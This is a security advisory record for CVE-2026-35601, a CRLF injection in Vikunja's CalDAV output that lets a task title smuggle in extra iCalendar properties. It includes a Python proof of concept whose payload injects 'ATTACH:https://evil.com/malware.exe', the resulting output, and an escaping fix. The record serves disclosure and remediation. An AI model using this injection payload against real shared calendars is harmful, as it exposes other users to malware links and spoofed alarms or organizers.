{"id":"CVE-2026-35601","aliases":["GHSA-2g7h-7rqr-9p4r","GO-2026-4951"],"url":"https://o3.security/vulnerability/CVE-2026-35601","summary":"Vikunja has an iCalendar Property Injection via CRLF in CalDAV Task Output","details":"## Summary\n\nThe CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as `ATTACH`, `VALARM`, or `ORGANIZER`.\n\n## Details\n\nThe `ParseTodos` function at `pkg/caldav/caldav.go:146` concatenates the task summary directly into the iCalendar output:\n\n```go\nSUMMARY:` + t.Summary + getCaldavColor(t.Color)\n```\n\nRFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as `\\n`, semicolons as `\\;`, commas as `\\,`, and backslashes as `\\\\`. None of these escaping rules are applied to `Summary`, `Categories`, `UID`, project name, or alarm `Description` fields.\n\nGo's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the `SUMMARY` property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"CalDAV Test\"}).json()\n\n# create task with CRLF injection in title\ntask = requests.put(f\"{API}/projects/{proj['id']}/tasks\", headers=h, json={\n    \"title\": \"Meeting\\r\\nATTACH:https://evil.com/malware.exe\\r\\nX-INJECTED:pwned\"\n}).json()\n\n# set UID (normally done by CalDAV sync; here via sqlite for PoC)\n# sqlite3 vikunja.db \"UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};\"\nTASK_UID = \"inject-test-001\"\n\n# fetch via CalDAV\ncaldav_token = requests.put(f\"{API}/user/settings/token/caldav\", headers=h).json()[\"token\"]\nr = requests.get(f\"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics\",\n                 auth=HTTPBasicAuth(\"alice\", caldav_token))\nprint(r.text)\n```\n\nOutput:\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:inject-test-001\nDTSTAMP:20260327T130452Z\nSUMMARY:Meeting\nATTACH:https://evil.com/malware.exe\nX-INJECTED:pwned\nCREATED:20260327T130452Z\nLAST-MODIFIED:20260327T130452Z\nEND:VTODO\nEND:VCALENDAR\n```\n\nThe `ATTACH` and `X-INJECTED` lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.\n\n## Impact\n\nAn authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:\n- Injecting malicious attachment URLs (`ATTACH`) that clients may auto-download or display\n- Creating fake alarm notifications (`VALARM`) for social engineering\n- Spoofing organizer identity (`ORGANIZER`)\n\n## Recommended Fix\n\nApply RFC 5545 TEXT value escaping to all user-controlled fields:\n\n```go\nfunc escapeICal(s string) string {\n    s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n    s = strings.ReplaceAll(s, \";\", \"\\\\;\")\n    s = strings.ReplaceAll(s, \",\", \"\\\\,\")\n    s = strings.ReplaceAll(s, \"\\n\", \"\\\\n\")\n    s = strings.ReplaceAll(s, \"\\r\", \"\")\n    return s\n}\n```\n\nApply `escapeICal()` to `t.Summary`, `config.Name`, `t.Categories` items, `a.Description`, `t.UID`, and `r.UID`.\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","published":"2026-04-10T16:08:50.519Z","modified":"2026-08-12T03:51:44.790885206Z","cvss":{"score":4.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N"},"epss":{"score":0.00196,"percentile":0.09283,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"code.vikunja.io/api","fixedVersion":"2.3.0"}],"fix":{"url":"https://github.com/go-vikunja/vikunja/pull/2580","label":"go-vikunja/vikunja#2580"},"references":[{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35601.json"},{"type":"ADVISORY","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35601"},{"type":"FIX","url":"https://github.com/go-vikunja/vikunja/pull/2580"},{"type":"PACKAGE","url":"https://github.com/go-vikunja/vikunja"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:44.790885206Z"}}